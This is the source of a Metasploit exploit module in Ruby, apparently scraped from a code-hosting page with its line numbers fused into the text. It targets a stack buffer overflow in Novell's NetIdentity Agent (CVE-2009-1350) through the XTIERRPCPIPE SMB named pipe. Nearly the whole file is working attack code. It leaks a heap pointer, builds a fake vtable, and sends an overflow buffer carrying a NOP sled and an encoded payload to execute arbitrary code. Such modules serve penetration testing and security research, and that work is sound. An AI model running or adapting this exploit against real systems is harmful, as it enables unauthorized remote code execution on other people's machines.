Path: blob/master/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Novell's NetIdentity Agent. When sending17a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be18able to execute arbitrary code. The success of this module is much greater once the19service has been restarted.20},21'Author' => [ 'MC', 'Ruben Santamarta' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2009-1350' ],25[ 'OSVDB', '53351' ],26[ 'BID', '34400' ],27[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=62&Itemid=1' ],28],29'DefaultOptions' => {30'EXITFUNC' => 'process', # only one shot!31},32'Payload' => {33'Space' => 550,34'BadChars' => "\x00\x09\x0c\x0b\x20\x0a\x0d\x5c\x5f\x2f\x2e\x40",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xe4\xf0\xff\xff\xff",37},38'Platform' => 'win',39'Targets' => [40[ 'Windows 2000 / Windows XP / Windows 2003', { 'Ret' => 0x41414141 } ],41],42'Privileged' => true,43'DisclosureDate' => '2009-04-06',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('SMBUser', [ true, 'The username to authenticate as', 'metasploit'], fallbacks: ['USERNAME']),56OptString.new('SMBPass', [ true, 'The password for the specified username', 'metasploit'], fallbacks: ['PASSWORD'])57]58)5960deregister_options('SMB::ProtocolVersion')61end6263# don't bother with this module for autoexploitation, it creates64# false-positives on newer systems.65def autofilter66false67end6869def mem_leak70print_status("Connecting to the server...")71connect(versions: [1])7273print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")7475begin76smb_login()77rescue ::Exception => e78print_error("Error: #{e}")79disconnect80return81end8283print_status("Connecting to named pipe \\XTIERRPCPIPE...")8485# If the pipe doesn't exist, bail.86begin87pipe = simple.create_pipe('\\XTIERRPCPIPE')88rescue ::Exception => e89print_error("Error: #{e}")90disconnect91return92end9394# If we get this far, do the dance.95fid = pipe.file_id9697# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id98trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')99100# Send the first request to get our pointer.101leak = [0x00000004].pack('V') + [0x00000818].pack('V')102leak << rand_text_alpha_upper(2040)103104print_status("Sending malformed request...")105pipe.write(leak)106107heap_pointer_leaked = pipe.read()[2060, 4].unpack('V')[0]108print_status(sprintf("Heap Pointer leaked: 0x%.8x", heap_pointer_leaked))109110print_status("Building fake VTable...")111object = heap_pointer_leaked + 0x700112print_status(sprintf("Object: 0x%.8x", object))113method = object + 0x30114print_status(sprintf("Method: 0x%.8x", method))115shellcode = method + 0xA0116print_status(sprintf("Shellcode: 0x%.8x", shellcode))117118pipe.close119120return heap_pointer_leaked, object, method, shellcode121end122123def exploit124heap_pointer_leaked, object, method, shellcode = mem_leak()125126return if not shellcode127128sploit = [0x00000002].pack('V')129sploit << [0x00000000].pack('V')130sploit << [object].pack('V')131sploit << [0x00000000].pack('V')132sploit << rand_text_alpha_upper(240)133sploit << [object].pack('V') * 32134sploit << [method].pack('V') * 32135sploit << [shellcode].pack('V') * 32136sploit << make_nops(748)137sploit << payload.encoded138sploit << rand_text_alpha_upper(110)139140print_status("Connecting to the server...")141connect(versions: [1])142143print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")144145begin146smb_login()147rescue ::Exception => e148print_error("Error: #{e}")149disconnect150return151end152153print_status("Connecting to named pipe \\XTIERRPCPIPE...")154155# If the pipe doesn't exist, bail.156begin157pipe = simple.create_pipe('\\XTIERRPCPIPE')158rescue ::Exception => e159print_error("Error: #{e}")160disconnect161return162end163164# ok, set up and send our exploit buffer...165fid = pipe.file_id166trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')167print_status("#{sploit.length} bytes written...")168pipe.write(sploit)169170handler171disconnect172end173end174175176